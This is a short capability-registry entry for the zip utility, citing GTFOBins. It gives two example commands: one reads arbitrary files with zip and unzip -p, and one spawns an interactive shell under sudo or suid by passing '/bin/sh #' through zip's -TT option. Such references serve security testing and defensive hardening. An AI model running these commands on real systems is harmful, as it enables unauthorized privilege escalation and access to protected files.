Capabilities

system.file.read

security.privilege-escalation.shell

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	none
Disk I/O	low

Examples

Read arbitrary files (sudo, suid, unprivileged)

zip /path/to/temp-file /path/to/input-file
unzip -p /path/to/temp-file

Spawn an interactive shell (sudo, suid, unprivileged)

zip /path/to/temp-file /etc/hosts -T -TT '/bin/sh #'

Documentation

zip

zip is a command-line utility. Compress files into ZIP archives; can also read files and spawn shells; can also read arbitrary files, spawn an interactive shell.

References

GTFOBins